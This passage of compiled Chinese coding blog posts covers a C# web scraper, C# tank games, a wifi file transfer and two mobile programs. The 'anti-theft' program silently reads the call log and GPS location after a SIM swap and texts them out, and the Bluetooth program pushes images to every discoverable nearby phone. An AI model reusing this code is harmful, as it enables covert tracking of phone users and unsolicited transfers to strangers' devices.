3.把匹配出的内容保存到数据库中。对其中的数据可以根据需要自己进行处理
具体实现代码
1.读取网页的代码
public static string GetDataFromUrl(string url)
{
string str = string.Empty;
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
//设置Http头;
request.AllowAutoRedirect = true;
request.AllowWriteStreamBuffering = true;
request.Referer = "";
request.Timeout = 10 * 1000;
//request.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)";
HttpWebResponse response = null;
try
{
response = (HttpWebResponse)request.GetResponse();
if (response.StatusCode == HttpStatusCode.OK)
{
//根据http应答头来判别编码
string Characterset = response.CharacterSet;
Encoding encode;
if (Characterset != "")
{
if (Characterset == "ISO-8859-1")
{
Characterset = "gb2312";
}
encode = Encoding.GetEncoding(Characterset);
}
else
{
encode = Encoding.Default;
}
//声明一个内存流来贮存http应答流
Stream Receivestream = response.GetResponseStream();
MemoryStream mstream = new MemoryStream();
byte[] bf = new byte[255];
int count = Receivestream.Read(bf, 0, 255);
while (count > 0)
{
mstream.Write(bf, 0, count);
count = Receivestream.Read(bf, 0, 255);
}
Receivestream.Close();
mstream.Seek(0, SeekOrigin.Begin);
//从内存流里读取字符串这里涉及到了编码方案
StreamReader reader = new StreamReader(mstream, encode);
char[] buf = new char[1024];
count = reader.Read(buf, 0, 1024);
while (count > 0)
{
str += new string(buf, 0, 1024);
count = reader.Read(buf, 0, 1024);
}
reader.Close();
mstream.Close();
}
}
catch (Exception ex)
{
GetDataFromUrl(url);
}
finally
{
if (response != null)
response.Close();
}
return str;
}
2.正则匹配的代码
public static ArrayList GetString(string reg, string content)
{
Regex r = new Regex(reg, RegexOptions.Compiled);
MatchCollection matches = r.Matches(content);
ArrayList a = new ArrayList();
foreach (Match m in matches)
{
string[] arr = new string[10];
arr[0] = m.Groups[1].Value;
arr[1] = m.Groups[2].Value;
arr[2] = m.Groups[3].Value;
arr[3] = m.Groups[4].Value;
arr[4] = m.Groups[5].Value;
arr[5] = m.Groups[6].Value;
arr[6] = m.Groups[7].Value;
arr[7] = m.Groups[8].Value;
arr[8] = m.Groups[9].Value;
arr[9] = m.Groups[10].Value;
a.Add(arr);
}
return a;
}
3.如果抓取的页面很多 ,可以把多线程跟队列应用过来,提高抓取效率
Queue numbers = new Queue();
const int MaxCount = 5;//同时运行的最多线程数
private static object _lock = new object();
private void Test()
{
while (true)
{
int i = 0;
lock (_lock)
{
if (numbers.Count == 0)
{
flag = false;
return;
}
i = numbers.Dequeue();
}
f(i);
}
}
void Ssss()
{
for (int i = 1; i <= 100; i++)//处理的页面参数 从http://www.soso.com/q?w=你好&pg=1 到http://www.soso.com/q?w=你好&pg=100
{
numbers.Enqueue(i);
}
for (int i = 0; i < MaxCount; i++)
{
Thread thread = new Thread(new ThreadStart(Test));
thread.Name = "T" + i.ToString();
thread.Start();
}
}
private void f(int num)
{
string str = ClassLibrary1.Class1.GetDataFromUrl("http://www.soso.com/q?w=%C4%E3%BA%C3&pg="+num);
string reg = "]+? target=\"_blank\">([\\s\\S]+?)";
ArrayList a = ClassLibrary1.Class1.GetString(reg, str);
for (int i = 0; i ] 除了>以为的字符
[\u4e00-\u9fa5] 汉字
6.代码只是实现了信息采集的主要功能,根据你自己的需要更换采集页面,跟合适的正则表达式后,可以根据你的需要自动进行采集,对采集到的数据,再根据你的需要自己进行处理。
7.数据库操作部分用的3层代码生成器连接地址 在 app.config中
如果你发现有什么不合理的,需要改进的地方,联系328452421@qq.com 朱晓 。相互交流 谢谢
顺便问下 有家是新泰的没,搞软件开发 地
手机防盗软件实现(源码)
http://blog.youkuaiyun.com/xiaoxiao108/archive/2011/05/01/6381414.aspx
前段时间母亲手机遭贼了,以防万一,如果自己手机丢了,肯定会更郁闷,记得很多手机有防盗功能,如果更换了sim卡就会,手机就会自动把新的
sim卡手机号,gps坐标,什么的发送到绑定的手机上。网上查了下资料,这类这类软件也挺多的。看了看功能也不是很复杂,就自己写了个玩玩
。
开发环境 vs2008 wm6 .net cf 3.5
编译运行代码时,电脑必须安装 Windows Mobile 6 Professional SDK Refresh.msi
实现方法很简单
1.每一个sim都有唯一的一个IMSI编号,可以根据IMSI编号来判断手机是否更换sim卡
2.如果检测到IMSI不是自己的sim卡的,可以确定其他人可能在用你的手机。
3.每次开机程序自动运行,检测到别人如果使用你的手机,自动把他的通话记录,跟gps坐标发送到绑定好的手机号上。
4.知道用你手机人的手机号,最近通话记录,gps坐标后,再自己想办法找到这人吧。
具体代码
1.取sim卡IMSI编号
使用 TapiLib.dll类库中的ControlTapi.GetIMSINumber()取到sim卡imsi编号
2.判断是不是自己的sim卡
string simStr=ControlTapi.GetIMSINumber();
if (simStr.Length != 0)
{
if (simStr != SIM)
{
其中SIM为事先取好的自己手机卡的IMSI编号
3.取最近通话记录代码
[StructLayout(LayoutKind.Sequential)]
public struct CALLLOGENTRY
{
public UInt32 cbSize;
public UInt64 ftStartTime;
public UInt64 ftEndTime;
public short iom;
public bool fOutgoing;
public bool fConnected;
public bool fEnded;
public bool fRoam;
public short cidt;
public IntPtr pszNumber;
public IntPtr pszName;
public IntPtr pszNameType;
public IntPtr pszNote;
};
[DllImport("phone.dll", EntryPoint = "PhoneOpenCallLog", SetLastError = true)] //首先要PhoneOpenCallLog打开通话记录句柄
private static extern int PhoneOpenCallLog(ref IntPtr pHandle);
[DllImport("phone.dll", EntryPoint = "PhoneCloseCallLog", SetLastError = true)] //要调用PhoneCloseCallLog关闭句柄
private static extern int PhoneCloseCallLog(IntPtr pHandle);
[DllImport("phone.dll", EntryPoint = "PhoneGetCallLogEntry", SetLastError = true)]
private static extern int PhoneGetCallLogEntry(IntPtr pHandke, ref CALLLOGENTRY pEntry);
//用PhoneGetCallLogEntry方法会返回一个通话记录结构,在该结构中,包含号码、姓名、通话开始时间、通话结束时间等信息。
private string GetLog()
{
string CallInfo = "";
try
{
IntPtr handle = IntPtr.Zero; //句柄
CALLLOGENTRY entry = new CALLLOGENTRY();
PhoneOpenCallLog(ref handle); //首先要PhoneOpenCallLog打开通话记录句柄
entry.cbSize = (uint)Marshal.SizeOf(entry); //返回类的非托管大小
if (handle != IntPtr.Zero)
{
while (PhoneGetCallLogEntry(handle, ref entry) == 0) //获取通话记录
{ //Marshal.PtrToStringUni 复制指定数目的字符
string phoneNumber = Marshal.PtrToStringUni(entry.pszNumber); //号码
string name = Marshal.PtrToStringUni(entry.pszName); //姓名
if (phoneNumber == null)
{
phoneNumber = string.Empty;
}
if (name == null)
{
name = string.Empty;
}
string temp = (phoneNumber.Trim() + name.Trim());
CallInfo = CallInfo + temp;
}
PhoneCloseCallLog(handle);
if (CallInfo.Length < 140)
{
return CallInfo;
}
else
{
return CallInfo.Substring(0,140);
}
}
else
{
int error = Marshal.GetLastWin32Error();
return "";
}
}
catch (Exception ep)
{
//MessageBox.Show(ep.ToString());
return "";
}
finally
{
}
}
4.取gps坐标代码
GpsDeviceState device = null;
GpsPosition position = null;
Gps gps = new Gps();
void gps_DeviceStateChanged(object sender, DeviceStateChangedEventArgs args)
{
device = args.DeviceState;
}
protected void gps_LocationChanged(object sender, LocationChangedEventArgs args)
{
position = args.Position;
str = "";
if (position != null)
{
//维度
if (position.LatitudeValid)
{
str += position.Latitude;
}
//经度
if (position.LongitudeValid)
{
str += " " + position.Longitude;
5.发送短信代码
SmsMessage msg = new SmsMessage(PHONE, str);
msg.Send();
6.打包为开机启动程序
打包cab文件时,只需把快捷方式添加到Startup文件夹下面就ok。
不足之处。
1.gps代码根据sdk中修改的,只是卫星定位的,根据基站定位的代码不知如何实现,只有当使用手机的人走到卫星信号好的地方时才能把坐标发
出去
2.发送的gps坐标 ,只是一个大体的位置,几百米以内的范围,有些浮动
3.如果手机被恢复出厂设置,或者被刷机,程序肯定不能运行了
即使gps信号不好的情况下只是得到使用手机人的电话号码,跟通话记录,用处也是挺大的。代码只是写着玩的,提供下参考思路代码
如果你发现有什么不合理的,需要改进的地方,或者你有什么更好的实现方法联系328452421@qq.com 朱晓 (泰山学院)。相互交流 谢谢
http://blog.youkuaiyun.com/xiaoxiao108/archive/2011/05/01/6381414.aspx
j2me手机蓝牙OBEX传文件代码
简单j2me蓝牙OBEX传文件代码
http://blog.youkuaiyun.com/xiaoxiao108/archive/2011/03/10/6237233.aspx
最近想写一手机程序实现以下功能,在蓝牙的有效距离内,如果有其他手机的蓝牙设置为可见状态,自己的手机自动向其他手机发送指定的图片。查了下j2me的api发现通过obex对象交换协议比较容易实现。
实现代码很简单 写个程序 弄个死循环让手机一直搜索周围蓝牙设备,如果发现到周围有蓝牙设备,发送图片。
步骤如下
1.初始化蓝牙代码
LocalDevice local_device = LocalDevice.getLocalDevice();
DiscoveryAgent disc_agent = local_device.getDiscoveryAgent();
local_device.setDiscoverable(DiscoveryAgent.LIAC);
2.搜索周围的蓝牙设备
InquiryListener inq_listener = new InquiryListener();
disc_agent.startInquiry(DiscoveryAgent.LIAC, inq_listener);
synchronized(inq_listener)
{
inq_listener.wait();
}
3.遍历所有蓝牙设备,查找每一个蓝牙设备的服务
while( devices.hasMoreElements() ) {
synchronized(serv_listener)
{
RemoteDevice rd= (RemoteDevice)devices.nextElement();
t.setString(rd.getBluetoothAddress());
Thread.sleep(5000);
t.setString(rd.getFriendlyName(true));
Thread.sleep(5000);
disc_agent.searchServices(null, u,rd, serv_listener);
serv_listener.wait();
}
4.从搜索到的ServiceRecord 中取出连接字符串进行连接
if (serv_listener.service!=null){
String url;
url = serv_listener.service.getConnectionURL(0, false);
Connection conn = Connector.open(url);
ClientSession cs=(ClientSession)conn;
cs.connect(null);
5.从资源中取出图片发送
byte filebytes[]=getImageData("/images/leaf.png");
HeaderSet hs=cs.createHeaderSet();
hs.setHeader(HeaderSet.NAME,"leaf.png");
hs.setHeader(HeaderSet.TYPE, "text/plain");
hs.setHeader(HeaderSet.LENGTH,new Long(filebytes.length));
Operation putOperation=cs.put(hs);
OutputStream outputStream=putOperation.openOutputStream();
outputStream.write(filebytes);
outputStream.close();
putOperation.close();
conn.close();
6.设备查询类InquiryListener的代码
class InquiryListener implements DiscoveryListener{
public Vector cached_devices;
public InquiryListener() {
cached_devices = new Vector();
}
public void deviceDiscovered( RemoteDevice btDevice, DeviceClass cod ) {
if( ! cached_devices.contains( btDevice ) ) {
cached_devices.addElement( btDevice );
}
}
public void inquiryCompleted( int discType ) {
synchronized(this){ this.notify(); }
}
public void servicesDiscovered( int transID, ServiceRecord[] servRecord ) {}
public void serviceSearchCompleted( int transID, int respCode ) {}
}
7.服务查询类ServiceListener的代码
class ServiceListener implements DiscoveryListener{
public ServiceRecord service;
public ServiceListener() { }
public void servicesDiscovered( int transID, ServiceRecord[] servRecord ) {
service = servRecord[0];
}
public void serviceSearchCompleted( int transID, int respCode ) {
synchronized( this ){ this.notify();}
}
public void deviceDiscovered( RemoteDevice btDevice, DeviceClass cod ){}
public void inquiryCompleted( int discType ){}
}
如果你发现有什么不合理的,需要改进的地方,联系328452421@qq.com 朱晓 (泰山学院)。相互交流 谢谢
C#坦克大战代码(电脑版本跟手机版本)
http://blog.youkuaiyun.com/xiaoxiao108/archive/2010/12/18/6084473.aspx
记得在大学学java时,同学在下载了很多java的视频,看到里面有些是介绍简单游戏开发的,马士兵老师讲的,挺感兴趣的。一起看了看视频写了写程序。现在毕业了,因为工作中用的是C#,最近很想拿C#把以前写的坦克大战重写下,来熟悉熟悉C#的基本语法。
程序很简单,跟java代码相比没有多大改动
开发环境 vs2008
实现方法如下
1.在form中添加一个panel,在panel的 Paint方法中得到Graphics对象
2.通过Graphics对象再panel画出坦克,子弹等相关内容
3.添加timer控件 来控制panel的重画 实现坦克,子弹的运动
4.根据电脑按下的方向键,确定出坦克的方向,panel重画时根据坦克的方向修改坦克的X,Y轴坐标,来实现坦克的移动
5.通过Rectangle的IntersectsWith函数来进行碰撞检测,实现子弹打击坦克
具体实现代码
1.在项目里面添加枚举类型
/// <summary>
/// 表示方向的的枚举类型
/// </summary>
public enum Direction { L, U, D, R, STOP }
2.添加子弹类的相关常量,属性
/// <summary>
/// 子弹X轴的速度,单位PX
/// </summary>
public static int XSPEED = 10;
/// <summary>
/// 子弹Y轴的速度,单位PX
/// </summary>
public static int YSPEED = 10;
/// <summary>
/// 子弹的宽度
/// </summary>
public static int WIDTH = 10;
/// <summary>
/// 子弹的高度
/// </summary>
public static int HEIGHT = 10;
/// <summary>
/// 子弹的坐标
/// </summary>
int x, y;
/// <summary>
/// 子弹的方向
/// </summary>
Direction dir;
/// <summary>
/// 子弹的存活状态
/// </summary>
private bool live = true;
/// <summary>
/// TankClient窗体实例
/// </summary>
private TankClient tankClient;
/// <summary>
/// 敌我双方的标记
/// </summary>
private bool good;
3.添加draw方法来画出子弹
public void Draw(Graphics g)
{
if (!live)
{
tankClient.missiles.Remove(this);
return;
}
//通过画椭圆函数在界面上显示子弹
g.FillEllipse(Brushes.Black, x, y, Missile.WIDTH, Missile.HEIGHT);
Move();
}
4.添加子弹打击坦克的方法
public bool HitTank(Tank t)
{
//用IntersectsWith来检测两个矩形相碰撞
if (GetRectangle().IntersectsWith((t.GetRectangle())) && t.Live && this.live && this.good != t.Good)
{
t.Live = false;
this.live = false;
return true;
}
return false;
}
5.添加坦克类相关属性,常量
/// <summary>
/// 坦克x轴的速度
/// </summary>
public static int XSPEED = 5;
/// <summary>
/// 坦克y轴的速度
/// </summary>
public static int YSPEED = 5;
/// <summary>
/// 坦克的宽度
/// </summary>
public static int WIDTH = 30;
/// <summary>
/// 坦克的高度
/// </summary>
public static int HEIGHT = 30;
/// <summary>
/// 坦克的坐标
/// </summary>
private int x, y;
/// <summary>
/// 标记上下左右键是否按下
/// </summary>
private bool l = false, u = false, r = false, d = false;
/// <summary>
/// 坦克的方向
/// </summary>
private Direction dir = Direction.STOP;
/// <summary>
/// 坦克炮筒方向
/// </summary>
private Direction ptDir = Direction.D;
/// <summary>
/// TankClient窗体实例
/// </summary>
TankClient tankClient;
/// <summary>
/// 标记敌我双方
/// </summary>
private bool good;
/// <summary>
/// 控制敌人坦克不规则运行时使用
/// </summary>
private int step = 0;
/// <summary>
/// 标记坦克的存活状态
/// </summary>
private bool live = true;
6.在tank类中实现画坦克方法
public void Draw(Graphics g)
{
if (!live)
{
if (!good)
{
tankClient.tanks.Remove(this);
}
return;
}
if (good)
{
//通过FillEllipse来画坦克
g.FillEllipse(Brushes.Red, x, y, WIDTH, HEIGHT);
}
else
{
g.FillEllipse(Brushes.Blue, x, y, WIDTH, HEIGHT);
}
//根据炮筒坦克来画出坦克的炮筒
switch (ptDir)
{
case Direction.D:
g.DrawLine(Pens.Black, x + WIDTH / 2, y + HEIGHT / 2, x + WIDTH / 2, y + HEIGHT);
break;
case Direction.U:
g.DrawLine(Pens.Black, x + WIDTH / 2, y + HEIGHT / 2, x + WIDTH / 2, y);
break;
case Direction.L:
g.DrawLine(Pens.Black, x + WIDTH / 2, y + HEIGHT / 2, x, y + HEIGHT / 2);
break;
case Direction.R:
g.DrawLine(Pens.Black, x + WIDTH / 2, y + HEIGHT / 2, x + WIDTH, y + HEIGHT / 2);
break;
}
Move();
}
7.键盘按键处理的相关代码
public void KeyPressed(KeyEventArgs e)
{
Keys key = e.KeyCode;
switch (key)
{
case Keys.Right:
r = true;
break;
case Keys.Left:
l = true;
break;
case Keys.Up:
u = true;
break;
case Keys.Down:
d = true;
break;
}
LocateDirection();
}
8.tank发子弹的方法
public Missile Fire()
{
if (!live) return null;
int x = this.x + WIDTH / 2 - Missile.WIDTH / 2;
int y = this.y + HEIGHT / 2 - Missile.HEIGHT / 2;
Missile missile = new Missile(x, y, good, ptDir, tankClient);
tankClient.missiles.Add(missile);
return missile;
}
9.主窗体类加入坦克
myTank = new Tank(50, 20, true, this);//放到前面 this不能用 //y轴比java的减少了30
for (int i = 0; i < 15; i++)
{
//添加10个坦克x轴间距为40px
tanks.Add(new Tank(50+40*(i+1),20,false,this)); //y轴比java的减少了30
}
10.主窗体类中调用子弹打击坦克的方法
for (int i = 0; i < missiles.Count; i++)
{
Missile m = missiles[i];
m.HitTank(myTank);
m.HitTanks(tanks);
m.Draw(g);
}
11.主窗体处理按键代码
private void Form1_KeyDown(object sender, KeyEventArgs e)
{
myTank.KeyPressed(e);
}
12.控制重画代码
private void timer1_Tick(object sender, EventArgs e)
{
//间隔50毫秒控制panel的重画
panel1.Invalidate();
}
13.这是主要代码基本完成,但是游戏会有闪烁问题
可以通过双缓冲来解决,C#解决时很省事,一个函数就能解决
this.SetStyle(ControlStyles.OptimizedDoubleBuffer |
ControlStyles.ResizeRedraw |
ControlStyles.AllPaintingInWmPaint, true);
顺便改了个手机版本的但是手机版本的没能解决双缓冲问题,屏幕有些闪烁,朋友们可以自己改进
http://blog.youkuaiyun.com/xiaoxiao108/archive/2010/12/18/6084473.aspx
如果你发现有什么不合理的,需要改进的地方,联系328452421@qq.com 朱晓 (泰山学院)。相互交流 谢谢
C#坦克大战网络版代码
写完单机版http://blog.youkuaiyun.com/xiaoxiao108/archive/2010/12/18/6084473.aspx游戏后
再写个网络版玩玩。
开发工具vs2008
网络版实现方法很简单
1.一个服务端,多个客户端
2.服务端开个端口监听,当一个客户端程序后连接到服务端后,服务端分配个编号给客户端作为他的坦克编号
3.当有新坦克创建,坦克移动,等操作时,客户端发送数据到服务端,服务端再把数据发送到所有的客户端来实现网络游戏的同步
具体实现代码
1.服务端开启服务代码
public void Start()
{
//开启udp线程
Thread t = new Thread(UDPThread);
t.IsBackground = true;
t.Start();
//开启tcp服务
TcpListener tl = new TcpListener(TCP_PORT);
tl.Start();
while (true)
{
TcpClient tc = tl.AcceptTcpClient();
Stream ns = tc.GetStream();
BinaryReader br = new BinaryReader(ns);
int udpPort = br.ReadInt32();//br.Close();不能关闭br
BinaryWriter bw = new BinaryWriter(ns);
bw.Write(ID++);
IPEndPoint rep = (IPEndPoint)tc.Client.RemoteEndPoint;
Client c = new Client(rep.Address.ToString(), udpPort);
clients.Add(c);
Console.WriteLine("A Client TCP Connect! Addr- " + rep.Address.ToString() + ":" + rep.Port);
}
}
2.服务端udp数据接收转发代码
private void UDPThread()
{
Console.WriteLine("UDP thread started at port :" + UDP_PORT);
byte[] buf = new byte[1024];
UdpClient uc = new UdpClient(UDP_PORT);//// 跟java有区别 如果这句话放到while外面 就不能接受第二个坦克连入
IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 0);
while (true)
{
buf = uc.Receive(ref ipep);
Console.WriteLine("a udp packet received! from " + ipep.Address + ":" + ipep.Port);
//把收到的数据转发给每一个客户端
for (int i = 0; i < clients.Count; i++)
{
Client c = clients[i];
UdpClient _uc = new UdpClient();
_uc.Connect(c.ip, c.udpPort);
_uc.Send(buf, buf.Length);
}
}
}
3.客户端连接代码
public void Connect(string ip, int port)
{
this.ip = ip;
TcpClient client = new TcpClient();
client.Connect(ip, port);
Stream ns = client.GetStream();
BinaryWriter bw = new BinaryWriter(ns);
bw.Write(udpPort);
BinaryReader br = new BinaryReader(ns); //bw.Close();不能关闭bw
//从服务器端取到服务器分配的坦克编号
int id = br.ReadInt32();
tc.myTank.ID = id;
//编号为偶数的设置为坏蛋
if (id % 2 == 0)
tc.myTank.Good = false;
else
tc.myTank.Good = true;
//可以在“输出窗口”看到下面的调试代码
Debug.WriteLine("Connected to server! and server give me a ID:" + id);
br.Close();
ns.Close();
client.Close();
TankNewMsg msg = new TankNewMsg(tc.myTank);
Send(msg);
//开启接收线程
Thread t = new Thread(UDPRecvThread);
t.IsBackground = true;
t.Start();
}
4.坦克加入消息代码发送代码
public void Send(UdpClient uc, string ip, int udpPort)
{
uc.Connect(ip, udpPort);
//程序中用 | 来分割发送的内容
string str = msgType + "|" + tank.ID + "|" + tank.x + "|" + tank.y + "|" + (int)tank.dir + "|" + tank.Good;
uc.Send(Encoding.UTF32.GetBytes(str), Encoding.UTF32.GetBytes(str).Length);
}
5.坦克加入消息解析代码
public void Parse(byte[] b)
{
string str = Encoding.UTF32.GetString(b);
string[] strs = str.Split('|');
int id = Convert.ToInt32(strs[1]);
//如果数据包里是自己的坦克不处理
if (id == tc.myTank.ID)
{
return;
}
int x = Convert.ToInt32(strs[2]);
int y = Convert.ToInt32(strs[3]);
Direction dir = (Direction)Convert.ToInt32(strs[4]);
bool good = Convert.ToBoolean(strs[5]);
Boolean exist = false;
for (int i = 0; i < tc.tanks.Count; i++)
{
Tank t = tc.tanks[i];
if (t.ID == id)
{
exist = true;
break;
}
}
//如果坦克不存在就创建出来
if (!exist)
{
TankNewMsg msg = new TankNewMsg(tc.myTank);
tc.nc.Send(msg);
//Tank t = new Tank(x, y, good, tc);//java中是这样写得Tank t = new Tank(x,y,good,dir,tc)
Tank t = new Tank(x, y, good, dir, tc); //有可能是老坦克 给新坦克发包 所以要家dir参数
t.ID = id;
tc.tanks.Add(t);
}
}
6.坦克移动消息
public void Send(UdpClient uc, string ip, int udpPort)
{
uc.Connect(ip, udpPort);
//程序中用 | 来分割发送的内容
string str = msgType + "|" + id + "|" + x + "|" + y + "|" + Convert.ToInt32(dir);
uc.Send(Encoding.UTF32.GetBytes(str), Encoding.UTF32.GetBytes(str).Length);
}
public void Parse(byte[] b)
{
string str = Encoding.UTF32.GetString(b);
string[] strs = str.Split('|');
int id = Convert.ToInt32(strs[1]);
//如果数据包里是自己的坦克不处理
if (id == tc.myTank.ID)
{
return;
}
int x = Convert.ToInt32(strs[2]);
int y = Convert.ToInt32(strs[3]);
Direction dir = (Direction)Convert.ToInt32(strs[4]);
for (int i = 0; i < tc.tanks.Count; i++)
{
Tank t = tc.tanks[i];
if (t.ID == id)
{
t.dir = dir;
t.x = x;
t.y = y;
break;
}
}
}
7.子弹消息处理代码
public void Send(UdpClient uc, string ip, int udpPort)
{
uc.Connect(ip, udpPort);
//程序中用 | 来分割发送的内容
string str = msgType + "|" + m.tankID + "|" + m.x + "|" + m.y + "|" + (int)m.dir + "|" + m.good;
uc.Send(Encoding.UTF32.GetBytes(str), Encoding.UTF32.GetBytes(str).Length);
}
public void Parse(byte[] b)
{
string str = Encoding.UTF32.GetString(b);
string[] strs = str.Split('|');
int tankID = Convert.ToInt32(strs[1]);
if (tankID == tc.myTank.ID)
{
return;
}
int x = Convert.ToInt32(strs[2]);
int y = Convert.ToInt32(strs[3]);
Direction dir = (Direction)Convert.ToInt32(strs[4]);
bool good = Convert.ToBoolean(strs[5]);
Missile m = new Missile(tankID, x, y, good, dir, tc);
tc.missiles.Add(m);
}
单机测试时 先运行服务端 再运行多个客户端就ok
多机联网游戏时修改下 nc.Connect("127.0.0.1", 8888);中的ip地址就可以在局域网内玩了 如果连接不上 可以关了防火墙试试看
private void Form1_Load(object sender, EventArgs e)
{
myTank = new Tank(50, 20, true, this);//放到前面 this不能用 //y轴比java的减少了30
nc = new NetClient(this);
nc.Connect("127.0.0.1", 8888);
//nc.connect("192.168.1.168",8888);
//nc.connect("10.10.10.1",8888);
}
如果你发现有什么不合理的,需要改进的地方,联系328452421@qq.com 朱晓 (泰山学院)。相互交流 谢谢
简单C#坦克大战源码(电脑版本跟手机版本)
http://blog.youkuaiyun.com/xiaoxiao108/archive/2010/12/18/6084473.aspx
记得在大学学java时,同学在下载了很多java的视频,看到里面有些是介绍简单游戏开发的,马士兵老师讲的,挺感兴趣的。一起看了看视频写了写程序。现在毕业了,因为工作中用的是C#,最近很想拿C#把以前写的坦克大战重写下,来熟悉熟悉C#的基本语法。
程序很简单,跟java代码相比没有多大改动
实现方法如下
1.在form中添加一个panel,在panel的 Paint方法中得到Graphics对象
2.通过Graphics对象再panel画出坦克,子弹等相关内容
3.添加timer控件 来控制panel的重画 实现坦克,子弹的运动
4.根据电脑按下的方向键,确定出坦克的方向,panel重画时根据坦克的方向修改坦克的X,Y轴坐标,来实现坦克的移动
5.通过Rectangle的IntersectsWith函数来进行碰撞检测,实现子弹打击坦克
具体实现代码
1.在项目里面添加枚举类型
/// <summary>
/// 表示方向的的枚举类型
/// </summary>
public enum Direction { L, U, D, R, STOP }
2.添加子弹类的相关常量,属性
/// <summary>
/// 子弹X轴的速度,单位PX
/// </summary>
public static int XSPEED = 10;
/// <summary>
/// 子弹Y轴的速度,单位PX
/// </summary>
public static int YSPEED = 10;
/// <summary>
/// 子弹的宽度
/// </summary>
public static int WIDTH = 10;
/// <summary>
/// 子弹的高度
/// </summary>
public static int HEIGHT = 10;
/// <summary>
/// 子弹的坐标
/// </summary>
int x, y;
/// <summary>
/// 子弹的方向
/// </summary>
Direction dir;
/// <summary>
/// 子弹的存活状态
/// </summary>
private bool live = true;
/// <summary>
/// TankClient窗体实例
/// </summary>
private TankClient tankClient;
/// <summary>
/// 敌我双方的标记
/// </summary>
private bool good;
3.添加draw方法来画出子弹
public void Draw(Graphics g)
{
if (!live)
{
tankClient.missiles.Remove(this);
return;
}
//通过画椭圆函数在界面上显示子弹
g.FillEllipse(Brushes.Black, x, y, Missile.WIDTH, Missile.HEIGHT);
Move();
}
4.添加子弹打击坦克的方法
public bool HitTank(Tank t)
{
//用IntersectsWith来检测两个矩形相碰撞
if (GetRectangle().IntersectsWith((t.GetRectangle())) && t.Live && this.live && this.good != t.Good)
{
t.Live = false;
this.live = false;
return true;
}
return false;
}
5.添加坦克类相关属性,常量
/// <summary>
/// 坦克x轴的速度
/// </summary>
public static int XSPEED = 5;
/// <summary>
/// 坦克y轴的速度
/// </summary>
public static int YSPEED = 5;
/// <summary>
/// 坦克的宽度
/// </summary>
public static int WIDTH = 30;
/// <summary>
/// 坦克的高度
/// </summary>
public static int HEIGHT = 30;
/// <summary>
/// 坦克的坐标
/// </summary>
private int x, y;
/// <summary>
/// 标记上下左右键是否按下
/// </summary>
private bool l = false, u = false, r = false, d = false;
/// <summary>
/// 坦克的方向
/// </summary>
private Direction dir = Direction.STOP;
/// <summary>
/// 坦克炮筒方向
/// </summary>
private Direction ptDir = Direction.D;
/// <summary>
/// TankClient窗体实例
/// </summary>
TankClient tankClient;
/// <summary>
/// 标记敌我双方
/// </summary>
private bool good;
/// <summary>
/// 控制敌人坦克不规则运行时使用
/// </summary>
private int step = 0;
/// <summary>
/// 标记坦克的存活状态
/// </summary>
private bool live = true;
6.在tank类中实现画坦克方法
public void Draw(Graphics g)
{
if (!live)
{
if (!good)
{
tankClient.tanks.Remove(this);
}
return;
}
if (good)
{
//通过FillEllipse来画坦克
g.FillEllipse(Brushes.Red, x, y, WIDTH, HEIGHT);
}
else
{
g.FillEllipse(Brushes.Blue, x, y, WIDTH, HEIGHT);
}
//根据炮筒坦克来画出坦克的炮筒
switch (ptDir)
{
case Direction.D:
g.DrawLine(Pens.Black, x + WIDTH / 2, y + HEIGHT / 2, x + WIDTH / 2, y + HEIGHT);
break;
case Direction.U:
g.DrawLine(Pens.Black, x + WIDTH / 2, y + HEIGHT / 2, x + WIDTH / 2, y);
break;
case Direction.L:
g.DrawLine(Pens.Black, x + WIDTH / 2, y + HEIGHT / 2, x, y + HEIGHT / 2);
break;
case Direction.R:
g.DrawLine(Pens.Black, x + WIDTH / 2, y + HEIGHT / 2, x + WIDTH, y + HEIGHT / 2);
break;
}
Move();
}
7.键盘按键处理的相关代码
public void KeyPressed(KeyEventArgs e)
{
Keys key = e.KeyCode;
switch (key)
{
case Keys.Right:
r = true;
break;
case Keys.Left:
l = true;
break;
case Keys.Up:
u = true;
break;
case Keys.Down:
d = true;
break;
}
LocateDirection();
}
8.tank发子弹的方法
public Missile Fire()
{
if (!live) return null;
int x = this.x + WIDTH / 2 - Missile.WIDTH / 2;
int y = this.y + HEIGHT / 2 - Missile.HEIGHT / 2;
Missile missile = new Missile(x, y, good, ptDir, tankClient);
tankClient.missiles.Add(missile);
return missile;
}
9.主窗体类加入坦克
myTank = new Tank(50, 20, true, this);//放到前面 this不能用 //y轴比java的减少了30
for (int i = 0; i < 15; i++)
{
//添加10个坦克x轴间距为40px
tanks.Add(new Tank(50+40*(i+1),20,false,this)); //y轴比java的减少了30
}
10.主窗体类中调用子弹打击坦克的方法
for (int i = 0; i < missiles.Count; i++)
{
Missile m = missiles[i];
m.HitTank(myTank);
m.HitTanks(tanks);
m.Draw(g);
}
11.主窗体处理按键代码
private void Form1_KeyDown(object sender, KeyEventArgs e)
{
myTank.KeyPressed(e);
}
12.控制重画代码
private void timer1_Tick(object sender, EventArgs e)
{
//间隔50毫秒控制panel的重画
panel1.Invalidate();
}
13.这是主要代码基本完成,但是游戏会有闪烁问题
可以通过双缓冲来解决,C#解决时很省事,一个函数就能解决
this.SetStyle(ControlStyles.OptimizedDoubleBuffer |
ControlStyles.ResizeRedraw |
ControlStyles.AllPaintingInWmPaint, true);
顺便改了个手机版本的但是手机版本的没能解决双缓冲问题,屏幕有些闪烁,朋友们可以自己改进
如果你发现有什么不合理的,需要改进的地方,联系328452421@qq.com 朱晓 (泰山学院)。相互交流 谢谢
不好意 资源传错了 没能正确下载的 联系328452421@qq.com ...
手机wifi传文件的一简单代码
手机wifi传文件的一简单代码
手机与笔记本传文件的方法有很多种,如果不方便使用蓝牙,数据线,读卡器时,可以考虑下wifi。
开发环境 vs2008 wm6 .net cf 3.5
步骤
1.手机先建立一个wifi网络 ssid随便写一个就ok 选中设备到设备 在填写个ip地址,跟子网掩码跟笔记本一个网段就行了
2.vs写个Server段程序,服务端负责接受客户端传过来的文件名,跟文件数据
接收文件名的代码如下
TcpListener server = new TcpListener(3389);
server.Start();
while (true)
{
TcpClient client = server.AcceptTcpClient();
Stream ns = client.GetStream();
StreamReader sr = new StreamReader(ns);
string content = sr.ReadLine();
Console.Write(content);
sr.Close();
ns.Close();
client.Close();
}
接收文件数据的代码类似
#region 传文件代码
